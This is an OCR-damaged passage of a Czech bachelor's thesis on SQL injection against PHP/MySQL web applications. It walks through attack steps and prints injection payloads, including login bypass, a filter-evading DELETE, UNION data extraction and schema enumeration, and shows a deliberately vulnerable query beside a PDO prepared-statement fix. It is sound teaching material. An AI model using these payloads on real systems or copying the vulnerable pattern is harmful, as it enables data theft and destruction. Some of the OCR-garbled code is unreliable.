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Utoky SQL Injection

SQL injection attacks

Souhrn

Bakalaiska prace se zabyva tématem utokl typu SQL Injection na webové aplikace
napojené na databazovy systém a obranou proti nim. V teoretické ¢asti predklada stru¢nou
historii jazyka SQL a zadklady prace s SQL databidzemi. Dale obsahuje piehled moznych
typtt napadeni webové aplikace zptisobem SQL Injection. Rozebira a porovnava zpiisoby
ochrany proti tomuto typu utoku. V praktické casti testuje redlnou hrozbu uzitim
popsanych postupli na nezabezpecené webové aplikaci. Je zde také navrzena nejvhodné;si
ochrana WWW aplikace, ktera je implementovana a testovanim je ovéiena jeji funkénost

Vv praktickém prostiedi.

Summary

The bachelor’s thesis deals with the issue of SQL Injection attacking web
applications connected to the database system. After a brief history of SQL language and
basics of SQL queries, the work goes on with the overview of possibilities to attack web
applications by SQL Injection. On examples the thesis analyzes and compares the ways of
the protection against this type of attack. The practical part of the work presents results of
testing the unsecured web application. In the end the thesis proposes the most appropriate
security of WWW application, which is also implemented. Its functionality is verified by

testing in its natural environment.

Kli¢ova slova: SQL Injection, webova aplikace, utok na databaze, databazovy systém,

WWW aplikace, SQL, zabezpeceni databaze, zneuziti dat

Keywords: SQL Injection, web application, database attack, database system, WWW
application, SQL, database security, data abuse
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1 Uvod

Pfestoze od zvefejnéni mozné zranitelnosti typu SQL Injection uplynula jiz dlouh4 doba?,
(datum spusténi dej do poznamky pod Carou) stile je spusténé a verejné dostupné velké
mnozstvi webovych aplikaci napojenych na databazi, které nejsou proti tomuto typu utokt
chranény. SQL Injection utok je termin, oznacujici zneuziti neoSetien¢ho vstupu aplikace
pro neopravnény pristup k datim ulozenych v databazi SQL, jejich zménu ¢i dalsi
nakladéni. Jsou pfi tom zneuzity uZzivatelské vstupy aplikace v podobé napiiklad HTML
formuléfe nebo parametrii v adresnim fadku. Potencidlni uto¢nik do nich miize zadat idaje,
které aplikace neocekava. Timto je mozné data z databaze neopravnéné zcizit, zménit je
nebo vymazat. Aplikace nezabezpecené proti tomuto typu utoku ptidavaji tyto uzivatelské
vstupy ptimo do dotazu pro SQL databazi. Nezabezpecené uzivatelské vstupy vystavuji
aplikaci vysokému riziku moznosti uzivatele upravit tento dotaz podle libosti a zobrazit si
tak data, ke kterym nemé opravnéni pfistupovat. Utonik miZe timto zptsobem do
databaze nova data vlozit nebo ulozené data pozménit podle toho, co s napadenou aplikaci
zamysli. I pfes vysoka rizika spojena s touto zranitelnosti je na svété stale vysoké mnozstvi
programatori a administratori zejména webovych aplikaci, ktefi bud’ o tomto nebezpeci
nevédi, nebo ho ignoruji v domnéni, Ze jejich aplikace neni pro utok lukrativni. Opak je
vSak pravdou. Jakékoliv databaze, shromazd’ujici data o svych uzivatelich, obsahuje cenné
osobni udaje, které se pii nedbalosti ze strany spravce mohou dostat do nepovolanych

rukou a v horsim ptipadé mohou byt zneuzity.

Prvni Cast této prace se zabyva teoretickymi principy provedeni SQL Injection utoku a
klade si za cil obecné zhodnotit stavajici stav dané problematiky. Ve druhé kapitole se
dotyka historie jazyka SQL a vysvétluje jeho zaklady pro pochopeni principti mozného
napadeni Injection Gtokem. Kapitola dale pokracuje popisem teorie prub&hu celého utoku.
Na prikladech jsou zde prezentovany praktiky pfi ném pouzivané. Na konci kapitoly jsou

rozebrany moznosti ochrany a jejich zhodnoceni po teoretické strance.

Druh4 ¢ast prace je cilena na navrh feSeni problému zabezpeceni proti SQL Injection utoku

a ovefit ucinnost navrhovaného feseni. Ve tieti kapitole je proto prezentovan vychozi stav

1 NT Web Technology WVulnerabilities. Phrack. 1998, wvol. 8, issue 54. Dostupné z:
http://phrack.org/issues/54/8.html
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— tedy aplikace bez zabezpeceni, ktera je testovana na rezistenci proti utoku. Jsou zde

navrhnuta dvé feSeni zabezpeceni.

Ctvrta kapitola obsahuje testy jak vychozi nezabezpetené aplikace, tak navrhovanych
feSeni. Cilem je zjistit, kterd z nich jsou pro pouziti v praxi vhodnéjsi a 1épe zabranuji
napadeni. V zavéru kapitoly jsou piedlozeny okomentované vysledky praktickych testh

puvodniho i nové navrzenych feseni.

Posledni kapitola shrnuje vysledky testii a hodnoti pfinos prace.
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2 Cile a metodika

2.1 Cile prace

Tématem bakalarské prace je zabezpeceni databazi napojenych na WWW aplikace proti
SQL Injection utoktim. Cilem teoretické Casti je strucné seznamit s historii jazyka SQL a
na piikladech ukdzat zéklady prace s SQL databdzemi. Toto je dulezité pro pochopeni
teoretickych principti problematiky SQL Injection ttokd. Cast teoretické prace ma za cil
osvétlit obecné moznosti vniknuti ito¢nika do databaze a na ptikladech popsat teorii utoku
na aplikaci bez jakéhokoliv zabezpecfeni. Zarovei si klade za kol zmapovat soucasnou
situaci v této problematice, kdy stale velké mnozstvi webovych aplikaci nema zadnou

ochranu implementovanu.

Cilem praktické Casti této prace je navrzeni feSeni problému nezabezpefeni webovych
aplikaci proti SQL Injection utokiim, implementovani feSeni do testovaci aplikace a jeho
otestovani praktickymi zkouSkami a testy v realném prostiedi. Pro dalsi pouziti v praxi

jsou vysledky realnych testt interpretovany a zobecnény.
2.2 Metodika prace

Metodika je zalozena na studiu a analyze dostupnych zdroji pojednavajicich o dané
tématice. Takto ziskané metody a techniky jsou vyuZity pfi ndvrhu feSeni. Syntézou
teoretickych poznatki a dosazenych vysledkii v praktické c¢asti bude formulovan a

zobecnén zavér této prace.
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3 Teoretické principy reSené problematiky

3.1 Zaklady SQL

Pro pochopeni principu SQL Injection ttoku je nutné znat alesponi zakladni principy prace
s SQL databazemi, nasledujici kapitola se proto bude vénovat vysvétleni béznych piistupt
k datim a jejich spravu pomoci tohoto dotazovaciho jazyka. Okrajové je zminéna historie

SQL a jeho standardizace.
3.1.1 Historie jazyka SQL

Jazyk SQL je od za¢atku spojeny s vyvojem relacnich databazi. Vyvojat spolecnosti IBM
E. F. Codd zacatkem sedmdesatych let publikoval ¢lanek Relacni model dat pro velké
sdilené datové banky, kde matematicky popisuje, jak by v budoucnu mohla vypadat
manipulace a ukladani dat za pomoci tabulkové struktury.? Relaéni databaze i samotny

jazyk SQL v podstaté vychazeji z tohoto ¢lanku.

Na zéakladé¢ Coddovi prace IBM nastartovalo vyvoj projektu Systém/R, v ramci jehoZ prvni
faze byl vytvofen funkcni prototyp relacniho databazového systému. Soucasné s timto
systémem byl vyvijen v projektu jazyk pro dotazovani databazi. Ten, v t¢ dob¢é nazyvany
SEQUEL (Structured English Query Language), byl pozdé&ji ve spojeni S distribuci
pfepracovaného prototypu do né€kolika zédkaznickych mist k ohodnoceni, pfejmenovan na

SQL (Structured Query Language).®
3.1.2 Standardy SQL

Prvni oficialni standart pro jazyk SQL vydal v roce 1986 American National Standard
Institute (Dale jen ANSI) — ANSI X3.135% AZ na né&kolik drobnych odlisnosti je zaloZeny
na systtmu DB2 SQL. International Standard Organization (Dale jen ISO) ho pfijala
Vv roce 1987.

2 CODD, E. F. A relational model of data for large shared data banks. Communications of the ACM. 1970,
vol. 13, issue 6, s. 377-387. DOI: 10.1145/362384.362685.

3 GROFF, James R a Paul N WEINBERG. SQL: kompletni pritvodce. Vyd. 1. Brno: CP Books, 2005, 936 s.
ISBN 80-251-0369-2.

4 ANSI X3.135:1986. Database Language SQL. Washington: ANSI, 1986.
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Standart vydany ISO, byl nasledné roku 1989 schvalen Americkou vladou jako Federal
Information Processing Standard (dale jen FIPS), ktera jej zaroven pozménila a rozsitila.

Tato upravena verze je obvykle nazyvana SQL-89 nebo SLQ1.°
3.1.3 Zakladni konstrukce jazyka SQL

Prace v databazich SQL je rozdélena do tfi zékladnich typl, podle zptsobu nakladani
s informacemi. Prvni z nich je Definice dat: DDL — Data Definition Language (,,jazyk pro

definici dat ). Skladani piikazt definujici nové struktury.
CREATE, ALTER, DROP

Druhy - Manipulace s daty: DML — Data Manipulation Language (,,jazyk pro manipulaci s
daty*). Dotazovani nad mnozinou dat vkladajici nové udaje, odstranéni ¢i zmény jiz

zapsanych zaznamd.

SELECT, INSERT, UPDATE, DELETE

A tieti - Rizeni piistupu k dattm: DCL — Data Control Language (, jazyk pro ovidddni
dat“). Ur€ovani ptistupovych prav uzivateli nebo naptiklad fizeni transakci.

GRANT, REVOKE

3.1.4 Priklady zakladniho pouZziti
3.1.4.1 Vytvoieni tabulky

Pro ilustraci bude vytvorena tabulka users obsahujici jména, pfijmeni a telefonni ¢isla,
vSechny sloupce budou datového typu VARCHAR. Zde se hodi pouziti konstrukce

CREATE, kterou se v SQL vytvafi nové objekty, v tomto ptipadé se bude jednat o tabulku.

CREATE TABLE users
(name VARCHAR(25),
surname VARCHAR (25),
phone VARCHAR (9)

) ;

Vytvoteni tabulky je mozné ovéfit piikazem ALTER!:

5 GROFF, James R a Paul N WEINBERG. SQL: kompletni priivodce. Vyd. 1. Brno: CP Books, 2005, 936 s.
ISBN 80-251-0369-2.
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ALTER TABLE users;

3.1.4.2 VioZeni dat

Klicovym slovem INSERT jsou vlozeny do nové vytvoiené struktury vzorova data. INTO
uruje nazev tabulky, do které se budou zapisovat. V mnozin¢ VALUES jsou potom

hodnoty urc¢ené K vlozeni.

Timto ptikazem se zapisuji udaje Petr, Novotny a 728425981 do tabulky users, do
sloupci name, surname a phone. V druhém ptikladu jsou opét do tabulky users

vkladana do stejnych sloupct data Marie, Masinkova, 723571597.

INSERT INTO users

(name, Surname, Phone)

VALUES

(‘Petr’, ‘Novotny’, '728435981") ;

INSERT INTO users

(name, Surname, Phone)

VALUES

(‘Marie’, ‘Masinkova’, *723571597") ;

Tabulka s daty tedy vypada nasledovné

Name Surname Phone
Petr Novotny 728425981
Marie Masinkova 723571597

Tabulka 1 - tabulka z ukazkové databdze

3.1.4.3 Vypis dat

Zaznamy se vypisuji pomoci piikazu SELECT, ktery zaroven vybira, z jakych sloupct
budou informace vybrany. Nedilnou soucasti je klicové slovo FROM, urcujici tabulku
obsahujici pozadovana data. Klauzule WHERE zajiStuje vybér fadku, které obsahuji pouze

zaznamy vyhovujici podmince, kterd nésleduje za timto klicovym slovem.

Nasledujicim piikazem jsou tedy vybrany fadky z tabulky users, kde sloupec surname

obsahuje hodnotu Novotny.
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SELECT * FROM users WHERE surname=‘Novotny?';

3.1.4.4 Uprava dat

Aktualizaci nékterého z fadku tabulky je mozné provézt piikazem UPDATE, obsahujici
klicové slovo SET urcujici sloupec, ve kterém Sse informace piepiSe. WHERE zde jako

Vv ptipadé vypisu dat filtruje fadek (fadky), ve kterych se mé zména provést.

Nazorn¢ je zménéno telefonni ¢islo u druhého uzivatele s ptijmenim Masinkova na

728912375.

UPDATE users
SET phone=’'728912375"
WHERE surname=’Masinkova’

3.1.45 Odstranéni zaznamu

Libovolné tadky z tabulky se odstranuji ptikazem DELETE. Opét je zde pouzita klauzule

FROM S nazvem zpracovavané tabulky a podminku WHERE, filtrujici ovlivnéné zaznamy.

Nasledujicim piikazem bude odstranén zaznam z tabulky users s hodnotou Novotny ve

sloupci surname.

DELETE FROM users
WHERE surname='Novotny’';

3.1.4.6 Odstranéni tabulky

Pro zahozeni cel¢ tabulky uloZené v databazi je pouzivano souslovi DROP TABLE,

doplnéné o nazev tabulky, se kterou je manipulovano.
Tabulka users bude z databaze odstranéna:

DROP TABLE users;

Toto byly zakladni funkcionality jazyka SQL, které jsou potieba pro pochopeni principi

prezentovanych v mé praci.
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3.2 SQL Injection utok

Tento typ utoku na SQL databaze vyuziva neoSetfenych vstupii aplikace. Pfi zpracovani
dat, zadavanych typicky uzivatelem, v nékterych piipadech vSak i aplikaci samotnou, Se
spusti podstréeny kod z nékterého ze vstupli. Tento kéd zmeéni vysledky piikazh

pouzivanych v aplikaci pro komunikaci s bazi dat.®
3.2.1 Moznosti uto¢nika

Aplikace, ve kterych neni implementovdna jakakoliv obrana proti utoku typu SQL
Injection, se vystavuji vysokému riziku proniknuti do databaze a neopravnénému
nakladani s daty v ni ulozenych. Pfi spravné vedeném utoku je mozné data nejen Cist, ale |
je upravovat ¢i odstranovat. Zkuseny Gto¢nik mize pomoci tohoto typu utoku ovladnout

cely stroj, na kterém aplikace s databazovym systémem b&zi.
3.2.2 Vedeni utoku

Nize je pro nazornost uveden jednoduchy ptiklad, jak takovy Gtok mize vypadat. Pouzit je
typicky formulaf pro piihlaseni do webové aplikace, napsany v jazyce HTML a

zpracovavany skriptovacim jazykem PHP, ktery dnes vyuziva velké mnoZstvi aplikaci.

<form name="login" action="login.php" method="post">
Username: <input type="text" name="userName" />
Password: <input type="password" name="password" />
<input type="submit" value="Prihléasit" />
</form>
Ve standardnim ptipadé, ktery aplikace ofekava, uzivatel do tohoto formulafe zada své
uzivatelské jméno a heslo. Zadané vstupy aplikace pifedlozi databazovému serveru pro
kontrolu existujiciho fadku s t€émito Udaji. Pokud zdznam nebude nalezen, odpovi databaze

aplikaci negativnim hlaSenim. Aplikace jej nasledné interpretuje uzivateli.

Soubor login.php, ve kterém se v tomto piikladu zpracovavaji data z formulafe,

typicky obsahuje podobnou kontrukci pro kontrolu uzivatelského jména a hesla:

® CLARKE, Justin. SQL injection attacks and defense. Waltham, MA: Elsevier, 2012, xwviii, 547 p. ISBN
9781597499637.
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Squery = ‘SELECT userName FROM users WHERE
userName=\'"’'.SuserName.’\’ AND password=\’’.S$password.’\’";

V bézném piipad¢, kdy uzivatel zada do vstupu uzivatelské jméno fetézec admin a jako

heslo xxwuwjs04, piikaz pro SQL Server bude vypadat nasledovné:

SELECT userName FROM users WHERE userName=’admin’ AND

password='xxwuwjs04’ ;

Kdyz aplikace dostane od databdze odpovéd potvrzujici existenci zdznamu, umoZzni
prihlaseni uzivatele. V opacné situaci zobrazi chybové hlaseni informujici o Spatné

zadanych piihlasovacich udajich.

Pokud neptijde o bézného uzivatele, ale utocnika, ktery se bude snazit podstréit fetézec
zpusobujici zménu chovani aplikace a zada jako uzivatelské jméno fetézec admin a heslo

jakekolivheslo’ OR ‘1‘='1, bude dotaz pro databizi pozménény:

SELECT userName FROM users WHERE userName='admin’ AND
password='"jakekolivheslo’ OR ‘1'=1'1"‘

Po ukonceni kontroly existence zdznamu databazovy stroj vykond porovnani 1=1, které
vzdy kon¢i pravdou a aplikaci odpovi také vracenim pravdy. Skript tedy uZivatele ptihlasi i

bez spravné zadanych udaja.
3.2.3 Faze utoku

Vedeni Gtoku SQL Injection na libovolnou webovou aplikaci by se dalo rozdélit do téchto

casti:

1. identifikace vstupt potencialn¢ pouzitelnych pro vniknuti do systému,

2. nalezeni vhodného vstupu, ktery uto¢nik pouzije,

3. provéfeni moznosti proniknuti do systému pomoci cileného ,,pokus-omyl postupu,
vyuzivajic chybovych hlaSeni dané¢ho databazového stroje,

4. vedeni samotného utoku kombinaci podstréenych fetézci do vstupli v riznych

castech aplikace.
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Aby utoénik mohl pokracovat v utoku, kazda predchazejici ¢ast musi byt uspésna.’
3.2.3.1 Ildentifikace vstupii

Vzhledem k typickému uspoiadani webové aplikace klient/server je ziejmé, Ze program
bude mit dvé ¢asti. Pomoci webového prohlizece uzivatel obsluhuje klientskou cast, ktera
v tomto piipadé pomoci protokolu HTTP vytvaii pozadavky odesilané serveru. Konkrétni

metody tohoto protokolu pro ptedavani dat mezi klientem a serverem jsou GET a POST.
3.2.3.2 Metoda GET

Metoda GET vyuziva pro sdileni hodnot a parametric URL adresu webové aplikace. Pfi
zobrazeni webové stranky vznikne na server pozadavek pro spuSténi skriptu ¢i Casti

aplikace s parametry uvedenymi pravé v URL. Napiiklad pfi odeslani pozadavku adresy

index.php?parametrl=hodnotal &parametr2=hodnota2

bude predan serverové casti aplikace dotaz na spusténi skriptu index.php s parametry
parametrl a parametr2, nabyvajicich hodnot hodnotal a hodnota2. Tato metoda je
pouzivana predevsim v téch Castech aplikace, kde je jiz odkaz vygenerovan a uZzivatel na
néj pouze klikne. Typicky je to fulltextové vyhledavani, zobrazeni konkrétniho produktu

nebo naptiklad volba kategorie.®
3.2.3.3 Metoda POST

Obsah parametri metody POST je predan Casti aplikace nebo skriptu, ktery je za timto
ucelem deklarovan pfimo v daném formulafi. Stejné jako metoda GET vyuziva metoda
POST pro pfedani parametri poZadavek na webovy server. Na rozdil od metody GET vSak
metoda POST odesilané parametry nezafazuje do URL a jsou tedy skryty uzivateli. Metoda
POST se typicky wuplathuje pifi vyplhovani jakychkoliv interaktivnich formulafi
S potvrzenim odeslani ke zpracovani — napf. registraéni ¢i piihlaSovaci formulafe

webovych aplikaci.®

" CLARKE, Justin. SQL injection attacks and defense. Waltham, MA: Elsevier, c2012, xvviii, 547 p. ISBN
9781597499637.

8 HTTP Methods: GET vs. POST. W3Schools.com [online]. [cit. 2015-8-28]. Dostupné z:
http://www.w3schools.com/tags/ref_httpmethods.asp

® Tamtéz.
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3.2.4 Nalezeni vhodného vstupu

Utoénik hleda uZivatelské vstupy, které by mohly byt potencialng vyuzitelné ke vniknuti
do databaze. Zejména jsou to formulafe <form> S uzivatelskymi vstupy <input>, pfi
ptedpokladu pouziti POST metody. Pro metodu GET jsou potencialné¢ zranitelné URL
adresy obsahujici parametry s hodnotami. Jejich analyzou tuto¢nik zjistuje, ze kterych
budou surova vstupni data pfedavana SQL serveru a jsou tedy vhodné k vedeni titoku na

bazi dat.
3.2.5 Chyby vypisované SQL Serverem

ProtoZe se tato prace zabyva konkrétnim databazovym systémem MySQL, je zde uvedena
ukazkova chyba vypisovana timto SQL serverem. Chybova hlaseni vypisovana na
uzivatelsky vystup jsou velkou potencialni hrozbou pro celou bézici aplikaci, jelikoz z nich
Ize odvodit spoustu informaci o stroji, na kterém aplikace bézi i o samotné aplikaci

komunikujici s databazi.
Ptiklad chybového hlaseni:

Warning: mysgl fetch array(): supplied argument is not a
valid MySQL result
Resource in /var/www/whatever.com/showcategory.php on line 8

V ptipadé, Ze server odpovida touto chybou na vloZeni apostrofu do fetézce hodnoty
parametru v URL adrese, vyplyva z toho mozZnost zranitelnosti Injection v tomto vstupu
aplikace. Hodnota parametru je totiz aplikaci bez jakékoliv upravy dopliiovana do dotazu

pro SQL server.
Naptiklad takto:

$category = $ GET[“category"“];

mysqgl query (“"SELECT * FROM products WHERE

category='$category’”);

while ($Srow = mysgl fetch array($result, MYSQL NUM) {
printf (“ID: %s Name: %s, Srow[0], Srowl[l]);
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Dotaz obycejného uzivatele, respektive adresa URL, na kterou odkazuje link aplikaci, by

vypadala nasledovné:

showcategory.php?category=motherboards

Skript obstaravajici zobrazovani kategorii by pievzal hodnotu parametru motherboards

a pouzil ho v piikazu pro databazi. Vysledny dotaz provadény SQL serverem by byl:

SELECT * FROM products WHERE category='motherboards’

Databazovy systém vybere zaznamy obsahujici motherboards ve sloupci category a

radky vrati aplikaci, ktera je zobrazi.
Pokud vs$ak uto¢nik podstréi do URL adresy misto fetézce

showcategory.php?category=motherboards

fetézec upraveny

showcategory.php?category=motherboards’

dojde k chybé a SQL server vrati hlaseni, usnadiujici Gitoénikovi proniknout do systému.*°

3.2.6 Testovani zranitelnosti

Pii zjiSténi, u jakych vstupll je mozné piedavani vloZenych dat SQL stroji, uto¢nik
pokracuje testovanim jednotlivych technik a pro zjisténi nejvhodnéjsiho typu utoku vklada

pozménéné fetézce ovliviujici béh aplikace.
3.2.7 Samotny utok

Po zjisténi zékladnich informaci o napadané aplikaci, které utocnik provedl v minulych
bodech, je mozné zacit samotny utok. Jeho postup se lisi podle toho, zda utocnik chce data
odcizit, zménit je, odstranit ¢i ovladnout cely databazovy stroj. Vytvofti tedy fetézec ménici

vysledky chovani aplikace podle svych potieb a podstr¢i ho do uzivatelského vstupu.

10 Clarke, J.: SQL Injection attacks and defense, Elsevier, Inc., 2012, 978-1-59749-963-7
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3.2.8 Zpisoby pouZiti zranitelnosti SQL Injection
3.2.8.1 VloZeni uvozovek

Mnoho aplikaci neni oSetfenych ani proti jednoduchému ptidani apostrofi do vstupu.
Timto zpiisobem Ize ukoncit dotaz predcasné a vratit naptiklad jen jeden fadek. Vynecha
se tim totiz z puvodniho dotazu klauzule WHERE, ktera bude odstranéna ze

zpracovavaného dotazu pomoci komentaie na konci zaménéného fetézce:

user
OR '1’'="1

3.2.8.2 Komentdie

Jazyk SQL nebere v Gvahu zadné znaky od znaku zacinajici komentaf. Tato funkcionalita
je vyhodou pro uto¢nika, ktery muize zaménit fetézec doplilujici zbytek dotazu, ktery
nahradi plvodni, zamysleny tvlircem aplikace. Existuje mnoho zptsobt, jakym lze

zaménit zbytek dotazu.!?

user’ —--

admin’ #

1__

1 OR 1=1--
VOR M‘1'=1M1'--
-1 and 1=2--
‘and ‘1/='2"--
1/*comment*/

3.2.8.3 VioZené komentdie

Pokud je aplikace chranénd filtrovanim kli¢ovych slov ve vstupech, je mozné tuto ochranu
obejit pouzivanim vlozenych komentéit, které databazovy systém nebude brat v potaz. Je
tedy moZzné zamaskovat klicové slovo vlozené do dotazu za ucelem zmény chovani

aplikace, naptiklad cely SQL ptikaz:

DE/**/LETE FRO/**/M users

11 CLARKE, Justin. SQL injection attacks and defense. Waltham, MA: Elsevier, c2012, xvviii, 547 p. ISBN
9781597499637.
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Tento fetézec podstréeny na nékterém vstupu aplikace zpusobi odstranéni vSech zdznamu

z tabulky users.
3.2.8.4 Spojovani tabulek

Pro spojeni vice vysledku ptikazit SELECT je vV SQL pouzivana konstrukce UNION,
spojujici vSechny vysledky do jedné tabulky. Pfi podstréeni spravného fetézce je
konstrukci mozné pouzit pro ziskani dat i zjinych tabulek, které aplikace v dané casti
nepouziva:

user’ union all

select accountNumber from accounts --

Odpovedi na tento dotaz budou nejen zaznamy struktury, ze které pozaduje data samotna

aplikace, ale také vSechny hodnoty sloupce accountNumber tabulky accounts.
3.2.8.5 Zjist'ovani poctu sloupcu

Jednoduchym navySovanim hodnoty parametru piikazu ORDER BY je mozné zjistit pocet
sloupci dané tabulky. V béZném piipadé se klicové spojeni ORDER BY pouziva pro
vyzadani sefazeni vracenych dat, kdy hodnotou parametru je zpravidla Cislo sloupce,

Vv némz jsou hodnoty, podle kterych se vysledny soubor dat ma tadit.

Pokud tedy ttoc¢nik pouzije pfikaz uvedeny nize, vraceny soubor dat bude sefazen podle

hodnot prvniho sloupce:

user' ORDER BY 1 --
Kontinudlnim navySovanim hodnoty dosahne odpovédi chybovym hlaSenim ve chvili, kdy
hodnota o jednotku piekroci pocet sloupcti obsazenych v tabulce.

3.2.8.6 Zjist'ovani nazvi sloupcii

Pro zjisténi nazvi sloupcti v tabulce je mozné pouzit ptikaz GROUP BY, ktery za
normalnich okolnosti slouzi ke kompletaci dat podle klicového sloupce. Pokud je do
dotazu vloZen nahodny ndzev sloupce, SQL server vraci chybové hlaSeni obsahujici

spravny nazev:
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user ‘' GROUP BY whatever --
3.2.8.7 Zjist'ovani datovych typit sloupci

Zde najde vyuziti opét funkce UNION, pomoci které je mozné zjistit ¢i alesponn odhadnout
datovy typ sloupcti. Pokud je znam jejich pocet, neni problém Vv dotazu pozadovat vypsani
zdznamu hodnoty typu INTEGER??, tzn. bez uvozovek. Pokud SQL server vrati chybové
hlageni, jednd se nejspise o datovy typ VARCHAR: 1314

user' union select 1 from accounts -

3.2.8.8 Information_schema

Information_schema je mnozinou pohledl, vracejici informace o struktufe celého
databazového systému. Pomoci tohoto ndstroje je mozné zjistit v podstaté cokoliv o
jakémkoliv objektu, ktery se v systému nachézi, at’ uz je to tabulka, sloupec, rutina nebo

pohled. Popisuje tedy v podstaté cely databazovy systém.

Information schema pouziva pohledy i pro popis sebe sama. Tento zakladni navrh popisu
byl specifikovan v roce 1992 ve standardu ISO/IEC 9075:1992 (Database Language SQL).
Diky standardizaci obsahuje tento diagram kazdy databazovy systém a vZdy ma shodnou
strukturu. Z toho divodu je vysoce nachylny ke zneuziti za tcelem ziskani informaci o
struktufe napadané databaze, které je mozné vyuzit pro dalsi zpusoby utoku. Mezi

vyzadat ptikazem:

UNION SELECT GROUP_CONCAT (table name) FROM
information schema.tables WHERE version=10

Nazvy sloupct je mozné ziskat zadanim tohoto dotazu:

UNION SELECT GROUP_CONCAT(column_name) FROM
information schema.columns WHERE table name = 'tablename'

2 Datovy typ celych &isel

13 Datovy typ fetézctli neurcité délky

14 CLARKE, Justin. SQL injection attacks and defense. Waltham, MA: Elsevier, c2012, xvviii, 547 p. ISBN
9781597499637.
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3.2.9 Ochrana v novéjsich verzich MySQL

Vyse popsané zakladni postupy pro napadani MySQL (SQL) databazi maji ukézat a
vysvétlit obecné principy a moznosti tto¢nika. Nékteré z téchto typt Gtokt jiz v aktudlnich
verzich databazovych systému nefunguji vibec ¢i v pozménéné nebo omezené formé.
Zranitelnost tohoto typu je zndma jiz pies deset let a vyvojari si konecné zacinaji
uvédomovat, jaka hrozba se v ni skryva. Proto do svych produkti implementuji vice ¢i
méné Ucinné ochrany proti tomuto napadeni. Proti jakym typtim utoka je aktualni verze
systému MySQL rezistentni, bude ovefeno V praktické casti této prace, konkrétné pii
testovani nezabezpeceného prostiedi a skriptu, ktery nema implementované zadné ochrany

proti SQL Injection.
3.2.10 Zpisoby ochrany proti SQL Injection
3.2.10.1 Escapovdni znakii (zastaralé a nebezpecéné)

Escapovani znaka!® jinou odpovidajici sekvenci pfi doplnéni uzivatelskych nebo dalsich
dynamicky dopliiovanych ¢asti SQL dotazu je v ptipad¢ skriptovaciho jazyka PHP a

databaze MySQL realizovano pomoci této funkce:
mysgl real escape string(SunescapedString)

V tomto konkrétnim piipadé, tedy pouziti kombinace PHP a MySQL, escapovaci funkce
vklada pted tyto specidlni znaky odd€lné ¢arkou zpétnd lomitka a databazovy server je

potom necte jako znaky specidlni, nybrz jako soucast textového fetézce.

\x00, \n, \r, \, ', ", \xla

Tato ochrana je vSak nedostatecna a pii podstréeni fetézce, ktery zZadné specidlni znaky
neobsahuje, neni G¢inna. Jako piiklad 1ze uvést nasledujici fetézec, ktery neobsahuje zadné

specidlni znaky, a pfesto je pomoci n€¢j mozné zmenit chovani aplikace.
1 OR 1=1

Tento fetézec by byl u€inny napt. pii pokusu zneuZit metodu GET, zménou parametrli

v adresnim fadku. Dal$i problémy pfindSi nutnost oSetiovat touto funkci jakoukoliv

15 Nahrazeni znakti majicich v daném kontextu specialni vyznam.
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proménnou, ktera se miize ocitnout v dotazu pro databazi. Je zde tedy obrovsky prostor pro

vytvoreni bezpecnostni chyby pti vyvoji aplikace.
3.2.10.2 Svazovdni proménnych v PHP Data Objects

Pro skriptovaci jazyk PHP existuje objektové rozhrani, jehoz pomoci Ize pracovat
srozlicnymi databazovymi systémy. Nazyva se PHP Data Objects (Dale jen PDO) a
umoznuje komunikaci mezi databdzemi. Svym uzivatelim piinasi vyhody v podobé
robustnosti a pienosnosti na jiné databazové systémy pouhym pienastavenim parametri

konstruktoru.

Dal$im pfinosem je bezesporu i G€inné ochrana proti utoktim typu SQL Injection v podobé
svazovani proménnych. V zisad€¢ jde o vyuziti pfedpfipravenych dotazli, o jejichz
spravnou konstrukci se za vyvojafe stara sama knihovna PDO. Usnadiluje praci
faktor pfi ruénim zadavani dotaz. Tim zaroven piedchazi naruSeni bezpe¢nosti dané

aplikace.'®
Svazovani proménnych v realné aplikaci miize vypadat podobné, jako v tomto piikladu:

$dbh = new

PDO ('mysgl:host=1localhost;dbname=1idicoznam;charset=utf8’,
$login, S$heslo); //pripojeni k db a vybrani tabulky
$jmeno = $ POST['jmeno'];

S$prijmeni = $ POST['prijmeni'];

Ssth = $dbh->prepare('insert into uzivatele (jmeno, prijmeni)
values (:jmeno, :prijmeni)');

$sth->bindvValue (':jmeno', $jmeno, PDO::PARAM STR);
$sth->bindvValue (':prijmeni', S$prijmeni, PDO::PARAM STR);
Ssth->execute(); //vykond pfikaz a vrati pocet ovlivnénych
radka

Nové vytvafena tfida ma parametry konstruktoru, obsahujici proménné pouzitého

databazového systému, databaze v ném ulozené, kodovani a uzivatelské jméno a heslo, pod

kterym aplikace do databaze ptistupuje:

18 VESELY, Ondfej. Ochrana proti SQL Injection v PHP. Birknet [online]. 2013 [cit. 2015-02-15]. Dostupné
z: http://www.birknet.eu/node/ochrana-proti-sql-injection-v-php/
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Sdbh = new

PDO ('mysgl:host=localhost;dbname=lidicoznam;charset=utf8’',
$login, S$heslo);

Skript uvedeny nize zapisuje do tabulky uzivatele nové zaznamy, do sloupcii jmeno
a prijmeni. MuzZe byt pouzit pro zpracovani dat z odeslaného HTML formulaie
Vv libovolné casti webové aplikace. Tomu je uzpiisobeno i nacteni obsahu proménnych
jmeno a prijmeni z odeslanych dat pomoci metody POST:

$jmeno = $ POST['jmeno'];
$prijmeni = $ POST['prijmeni'];

Metoda prepare knihovny PDO vytvoii piipraveny dotaz v databazi s hodnotami
:jmenoa :prijmeni:
Ssth = $dbh->prepare('insert into uzivatele (jmeno, prijmeni)

values (:jmeno, :prijmeni)');

K témto hodnotdm v pfipraveném piikazu ,,svazeme* pomoci metody bindvValue
proménné poskytnuté webovou aplikaci. Konstanta PDO: : PARAM STR urcuje, Ze se

data maji interpretovat jako datovy typ CHAR nebo VARCHAR.
$sth->bindvValue (':jmeno', $jmeno, PDO::PARAM STR);

$sth->bindvValue (':prijmeni', S$prijmeni, PDO::PARAM STR);

Metoda execute vykona cely pfipraveny piikaz a jeji navratova hodnota se rovna poctu

ovlivnénych radk.

Ssth->execute () ;
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4 Navrzené reSeni

4.1 Koncepce

Prakticka ¢ast této prace obsahuje realné testy vySe popsanych typa uatokti na
nezabezpecenou Cast aplikace a komentuje jejich vysledky. Cilem testovani je ovéfit Ci
vyvratit poznatky prezentované V teoretické Casti prace a zhodnotit realnou hrozbu
proniknuti uto¢nika do nezabezpecené aplikace. Dale zde jsou prezentovana feSeni pro
ochranu webovych aplikaci proti Gtokim typu SQL Injection a implementace jejich
piikladech, kde budou zkonfrontovany s postupy popsanymi v teoretické ¢asti prace. Pro
porovnani je stejnym zplsobem otestovano puvodni, nezabezpecené feSeni. VesSkeré
